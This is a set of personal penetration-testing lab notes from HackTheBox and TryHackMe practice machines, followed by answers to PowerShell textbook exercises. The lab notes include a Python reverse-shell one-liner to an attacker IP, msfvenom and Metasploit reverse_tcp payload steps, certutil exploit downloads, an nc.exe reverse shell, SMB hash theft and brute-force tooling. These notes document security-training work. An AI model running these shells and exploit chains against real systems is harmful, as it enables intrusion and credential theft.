socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.10.98",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

(and set up a nc on
my attack machine)

Navigated to /tmp
folder and was able to upload & run linpeas.sh

^^^^ Used those
creds and got logged into Wordpress Admin

-----

Entire box crashed
so I am going to try again later. When I re-load the box, here's something to
try. Maybe the account connected with Wordpress has sudo -l, suid, or
capabilities set that will allow me to elevate to root. Maybe it's the
"scamsite" user I found in /etc/passwd

https://www.hacknos.com/wordpress-shell-upload/

I tried to SSH as
"scamsite" with the creds I found above -- success! Cred re-use for
the win

Sudo bit set for
iconv

Got the root flag!

Arctic (HTB)

Monday,
April 4, 2022

2:39
PM

Nmap file located
in /arctic folder

Web Server on port
8500

Found an admin log
in at /CFID/administrator/

Multiple
vulnerabilities -- searchsploit has an RCE for ColdFusion 8

Need admin password
and found this:

Got a password with
this script: https://raw.githubusercontent.com/goli4th-1/Scripts/master/coldfusion_shell.py

rdspassword=0IA/F[[E>[$_6&
\\Q>[K\=XP
\n

password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03

encrypted=true

Used John and got
the password

Got administrator
access with these credentials

Username: admin

Password: happyday

I think this is how
I will get initial web shell:

https://pentest.tonyng.net/coldfusion-exploit-hack-big-sites-with-ease/

Created a .jsp
shell with msvenom and finally got shell on the machine. Uploaded it with the
task scheduler feature

Got the user flag

Windows-exploit-suggester.py
results:

Of interest - kernel exploit
- MS10-061.... ms13-005

Ended up dropping
my initial shell and use a multi/handler to get a Meterpreter shell

Looks like the
attack vector may be an impersonation attack:

This is what I have
done so far -- trying to get meterpreter shell so I can do a "juicy
potato" attack:

Open metasploit
(msfconsole)

Type "use
exploit/multi/script/web_delivery"

Set the options:

target = 2 (psh)

set payload
windows/meterpreter/reverse_tcp

set lhost to attacker IP

set srvhost to attacker ip
as well

Type
"run" and copy the powershell command

Run the command
on victim machine -- should get meterpreter shell

Here is where I am stuck. It
seems to run it (even says delivering payload but I do not get a
meterpreter shell)

Going to try these
steps: https://infosecwriteups.com/metasploit-upgrade-normal-shell-to-meterpreter-shell-2f09be895646

Well shoot, that
didn't work

---- Stopping for
today

Something to try:

Create shell
(like before) with .jsp and msfvenom

Once I have
shell, try to create a .exe for a meterpreter session with this command:

msfvenom
-p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe

-----------

Ended up following
these steps from my notes -- and got root!

Search for the specific
kernel exploit in Google

ms10-015 doesn't work
because we don't have GUI access - so keep working through them &
researching each one

Rest of example is with
MS10-059 (chimichurri exploit)

Downloaded the .exe to
attacking machine

Set up Python HTTP server on
attacking machine to host the file for victim to download

Go to temp folder (likely
have write access here)

Download the file with
certutil command (similar to wget on Linux)

Run the command with proper
syntax (ms.exe <attacker_IP> <attacker_port>

On attacking machine, open
another shell with the correct port

Become root!

Bastard
(HTB)

Tuesday,
April 5, 2022

2:05
PM

Port 80

Web page

Username & Password

Can create a new account

SQL Injection?

Can request a new password

/robots.txt

A lot of interesting things
here to check out - saved files to /bastard folder

CMS = Drupal 7

Drupal 7 has a lot
of vulnerabilities

Add admin user = not
vulnerable

There IS a valid
account that is called admin

Disallow: /includes/

Disallow: /misc/

Disallow: /modules/

Disallow: /profiles/

Disallow: /scripts/

Disallow: /themes/

# Files

Disallow: /CHANGELOG.txt

Discovered it is Drupal 7.54

Disallow: /cron.php

Disallow: /INSTALL.mysql.txt

Disallow: /INSTALL.pgsql.txt

Disallow: /INSTALL.sqlite.txt

Disallow: /install.php

Disallow:
/INSTALL.txt

Disallow:
/LICENSE.txt

Disallow:
/MAINTAINERS.txt

Disallow:
/update.php

Disallow:
/UPGRADE.txt

Disallow:
/xmlrpc.php

# Paths (clean URLs)

Disallow: /admin/

Disallow:
/comment/reply/

Disallow:
/filter/tips/

Disallow: /node/add/

Disallow: /search/

Disallow:
/user/register/

Disallow:
/user/password/

Disallow:
/user/login/

Disallow:
/user/logout/

# Paths (no clean
URLs)

Disallow: /?q=admin/

Disallow:
/?q=comment/reply/

Disallow:
/?q=filter/tips/

Disallow:
/?q=node/add/

Disallow:
/?q=search/

Disallow:
/?q=user/password/

Disallow:
/?q=user/register/

Disallow:
/?q=user/login/

Disallow:
/?q=user/logout/

This might be
helpful - https://vk9-sec.com/drupal-7-x-module-services-remote-code-execution/

Pretty sure this is the way
but can't get php-curl to install so going to look for other ways

Found working Python
script - https://raw.githubusercontent.com/pimps/CVE-2018-7600/master/drupa7-CVE-2018-7600.py

Got the user flag by
doing enumeration with RCE script

Used the RCE to pull
down sysinfo and ran through priv suggester

Looks like it's vulnerable to
same exploit as Arctic (MS10-059) - I bet I could use certutil as rce to
put that on the machine and then possibly execute it...

IT WORKED - GOT ROOT
SHELL

Alfred (THM)

Wednesday,
April 6, 2022

9:04
AM

Port 8080

Log in screen with default
credentials admin:admin

Script Console found at
/script -- can probably use this for a reverse shell

This might do it - https://gist.githubusercontent.com/frohoff/fed1ffaab9b9beeb1c76/raw/7cfa97c7dc65e2275abfb378101a505bfb754a95/revsh.groovy

Got a shell!

Windows Exploit Suggester
came back with a bunch of vulnerabilities -- will need to research these

Follow the steps
from my notes --

Juicy
Potato Attack

Got root!

Bastion
(HTB)

Wednesday,
April 6, 2022

2:30
PM

SMB is open -- back
up looks interesting.

Content of Backups

Inside
"WindowsImageBackup"

Possible username?

Note.txt:

Sysadmins: please
don't transfer the entire backup file locally, the VPN to the subsidiary office
is too slow.

Interesting ports:

Possible SSH Vuln - https://www.rapid7.com/db/vulnerabilities/openbsd-openssh-cve-2018-20685/

Mounted the share to my Kali
Linux machine with this command:

Then followed this guide to
mount the .vhd image to enumerate it

https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25

Used Samdump2 to dump the
creds from System32

For the life of me, I could
not crack the password with John or hashcat but apparently
"Crackstation" online can do it -- password is bureaulampje

SSH Access

Cannot run
systeminfo

Cannot run certutil
on any folders

I can apparently run
powershell though

Apparently the key is
discovering the program "mRemoteNG" and then learning that it
stores passwords in confCons.xml... then downloading a python script that
breaks the password (had to do a walkthrough - I was stuck)

SSH with those creds

Querier
(HTB)

Thursday,
April 7, 2022

8:16
AM

Open SMB share --
Reports

Doesn't seem to be anything
in the report....

Tried to open in multiple
apps - no data

Ran "Strings" on
it but nothing useful

Possible Attack
Vector - SQL Server on Port 1433

Looks like the .xlsm
file has hidden macros

Database
credentials:

Username: reporting

Password:
PcwTWTHRwryjc$c6

Connected to the
database

Open a new tab and
set up an SMB Share -

On victim machine
(SQL) type in this command to connect to the share and get a password hash:

On the SMB Share -
steal the hash

-- Explanation of
how this works - https://medium.com/@markmotig/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478

Cracked the password
with John

Used these creds to
log back into the sql server

Enabled xp_cmdshell

Uploaded nc.exe to
/Reports with Powershell

Set up a reverse
shell with nc.exe

Got shell!

PowerUp.ps1
discovers a vulnerable binary path -- exploit it this way

Set up a listener on
attack machine

Stop and start the
service

System Shell!

Oh My
Webserver (THM)

Thursday,
April 28, 2022

9:13
AM

/assets is exposed

Underlying service =
uideck

Used this exploit
and got some type of RCE

https://github.com/thehackersbrain/CVE-2021-41773

Learned I could
access python3 at /usr/bin/python3 so I used that to do a reverse shell with
this one-liner

/usr/bin/python3 -c
'import
socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect;os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Upgraded shell with
python

Uploaded linpeas.sh
with Curl (wget didn't work)

Might need to do a docker
escape?

Used capabilities
and got root access but might just be docker?

Got user.txt in
/root/

Tried this
docker-escape-tool with no luck https://github.com/PercussiveElbow/docker-escape-tool

Used this tool -https://github.com/eversinc33/JailWhale

Found this -

(Had to get help
from a walkthrough on this step)

Downloaded nmap binary and
uploaded to victim machine & set it to executable

Checked IP for docker and
then scanner what is assumed to be the host IP

Port 5986 - WinRM
(which is weird since it's a Linux box)

Found this exploit -
https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/main/omigod.py
and uploaded it to the victim machine. Am able to run commands as root

Found root flag

Blog (THM)

Friday,
April 29, 2022

8:40
AM

Description:

Billy Joel made a
blog on his home computer and has started working on it.  It's going to be so awesome!

Enumerate this box
and find the 2 flags that are hiding on it!
Billy has some weird things going on his laptop.  Can you maneuver around and get what you
need?  Or will you fall down the rabbit
hole...

In order to get the
blog to work with AWS, you'll need to add blog.thm to your /etc/hosts file.

---------------------------

SMB allows anonymous
login

I checked all the other files
and the entire SMB share seems to be a rabbit hole - moving onto port 80

Port 80 notes:

Wordpress authors/usernames

kwheel

password = iloveyou
(possibly?)

bjoel

WPScan Results

If I get logged in, I can use
this for a shell

ffuf results

None of those things seem to
be significant

I found various RCE for
Wordpress 5.0 but they all seem to need creds. Going to try and get creds
by bruteforcing the accounts

SMB might be
vulnerale to "SambaCry RCE"

https://github.com/opsxcq/exploit-CVE-2017-7494

Try this for
bruteforcing

https://github.com/22XploiterCrew-Team/WpCrack

Ended up using this
for brute force

https://github.com/guelfoweb/wpbrute

Look into using
hydra for brute force -- might be faster

https://linuxconfig.org/test-wordpress-logins-with-hydra-on-kali-linux

Found password for
bjoel account

Nevermind, didn't work

** Learned you can
use wpscan for a brute force attack:

Password for kwheel
= cutiepie1

Logged in as kwheel!

Now that I have
creds, I can use this exploit from metasploit

Got a meterpreter
session

Dropped to shell and
upgraded with python

For
"user.txt" in bjoel but it's not the right one...

There is a pdf
here... might come back to this

No sudo -l

No suid

No capabilities

Running Linpeas....

pwnkit

pwnkit doesn't seem
to be working

Check with files are
owned by root

find / -type f -user
root -perm -u=s 2>/dev/null

If running checker,
you just get "Not an Admin" which is apparently checking an
environmental variable (can see this with ltrace)

I created an
environmental variable for "admin" and set it to 1. Then I ran the
checker command and it gave me root

Root flag

Searched for
user.txt and found it in /media/usb/user.txt

Chapter 4
Exercises

Monday,
April 25, 2022

10:44
AM

Display
a list of running processes.

ps or Get-Process

Test the connection to google.com or bing.com without
using an external command like ping.

test-connection google.com

Display a list of all commands that are of the cmdlet
type. (This is tricky—we’ve shown you Get-Command,
but you’re going to have to read the help to find out how to narrow down
the list as we’ve asked.)

Get-Command -Type Cmdlet

Display
a list of all aliases.

Get-Alias

Make a new alias, so you can run ntst to
run netstat from a PowerShell prompt.

New-Alias -Name
"ntst" netstat

Display a list of processes that begin with the
letter p. Again, read the help for the
necessary command—and don’t forget that the asterisk (*)
is a near-universal wildcard in PowerShell.

Get-Process P*

Make a new folder (aka directory) using the New-Item cmdlet
with the name of ”MyFolder1”. Then, do it again and call it “MyFolder2”.
Use Help if you’re not familiar with New-Item.

New-Item -Path
"C:\Users\Tyler.Ramsbey\" -Name Folder1 -Item Type
"directory"

Remove the folders from step 7 in a single command.
Use Get-Command to find a similar cmdlet to what we
used in step 7—and don’t forget that the asterisk (*)
is a near-universal wildcard in PowerShell.

Remove-Item
C:\Users\Tyler.Ramsbey\Folder1

Chapter 5
Exercises

Monday,
April 25, 2022

11:50
AM

Create
a new directory called Labs.

new-item
-ItemType directory -name Labs

Create a zero-length file named /Labs/Test.txt (use New-Item).

new-item -Path . -Name
"Test.txt" -itemtype "file"

Is it possible to use Set-Item to
change the contents of /Labs/Test.txt to -TESTING?
Or do you get an error? If you get an error, why?

- No you cannot - you get the error
"Provider operation stopped because the provider does not support this
operation." Set-item is not used to input text into a file.

Using the Environment provider, display the value of the
system environment variable PATH

Get-Item
env:path

Use help to determine what the differences are between
the -Filter, -Include,
and -Exclude parameters of Get-ChildItem?

Filter

Only used for the
FileSystem provider and can search fully

Include

Will search for files that
include a certain parameter

Example: Get-ChildItem
-Path C:\Test\* -Include *.txt

This will include all
files in the "test" folder that end with .txt

Exclude

Will search for files that
exclude something

Example: Get-ChildItem
-Path C:\Test\Logs\* -Exclude A*

This will exclude all logs
that start with A

Chapter 6
Exercises

Tuesday,
April 26, 2022

8:35
AM

Create two similar, but different, text files. Try
comparing them by using Compare-Object.
Run something like this: Compare-Object -Reference (Get-Content File1.txt) -Difference (Get-Content
File2.txt). If the files have only one line of text that’s
different, the command should work.

It worked

What happens if you run Get-Command | Export-CSV commands.CSV | Out-File from
the console? Why does that happen?

Because it's looking for the
"path" of the out-file command

Apart from getting one or more jobs and piping them
to Stop-Job, what other means does Stop-Job provide
for you to specify the job or jobs you want to stop? Is it possible to
stop a job without using Get-Job at all?

Yes, you could use any of
the following:

Filter

ID

InstanceID

Job

Name

State

What if you want to create a pipe-delimited file instead
of a comma-separated (CSV) file? You’d still use the Export-CSV command,
but what parameters would you specify?

You'd specify the following:

-Delimiter '|'

How do you include the type information in the # comment
line at the top of an exported CSV file?

Don't include the
"notypeinformation" switch at the end and it will add type
information to the information header

Export-Clixml and Export-CSV both
modify the system because they can create and overwrite files. What
parameter would prevent them from overwriting an existing file? What
parameter would ask whether you were sure before proceeding to write the
output file?

-NoClobber prevents
overwriting existing files

Parameter to ask if you're
sure -- -confirm

The operating system maintains several regional settings,
which include a default list separator. On U.S. systems, that separator
is a comma. How can you tell Export-CSV to use the system’s default
separator rather than a comma?

-UseCulture switch

Chapter 7
Exercises

Tuesday,
April 26, 2022

1:38
PM

Browse
the PowerShell Gallery. Find a module or two that you think sounds
interesting and install it.

Browse
the available commands for your module you just downloaded

Use the commands from section 7.2 to find and install (if
needed)the latest version module by Microsoft for working with archives
which contains the command Compress-Archive.

Import
the module you just installed.

Create a tests folder for the next step with 10 files in
it, and name it ~/TestFolder.

Use Compress-Archive to create a zip of the contents
of ~/TestFolder, and name the archive TestFolder.zip

Compress-Archive
-Path .\TestFolder\ -DestinationPath .\TestFolder.zip

Expand the archive to ~/TestFolder2

Expand-Archive
-Path .\TestFolder.zip -DestinationPath .\TestFolder2

Use Compare-Object and Select-Object
-ExpandProperty Name to compare just the names of the
files in the folders to verify you have the same files.

Chapter 8
Exercises

Wednesday,
April 27, 2022

10:11
AM

Identify
a cmdlet that produces a random number.

get-random

Identify
a cmdlet that displays the current date and time.

get-date

What
type of object does the cmdlet from task 2 produce? (What is the TypeName of the
object produced by the cmdlet?)

System.DateTime

Using the cmdlet from task 2 and Select-Object,
display only the current day of the week in a table like the following
(Caution: the output will right-align, so make sure your PowerShell
window doesn’t have a horizontal scrollbar):

get-date | select dayofweek

Identify
a cmdlet that will show you all the times in a directory.

get-childitem

Using
the cmdlet from task 5, display all the times in directory of your
choice. Then extend the expression to sort the list by the time the items
were created and display only the file name(s) and the dated created.
Remember that the column headers shown in a command’s default output
aren’t necessarily the real property names—you need to look up the real
property names to be sure.

get-childitem |
select createdage,name | sort -property createdage -desc

Repeat
task 6, but this time sort the items by the last write time, then display
the file name, creation time, and the last write time. Save this in a CSV
and a HTML file

get-childitem |
sort -property lastwritetime -desc | select
name,createdage,lastwritetime

Created with OneNote.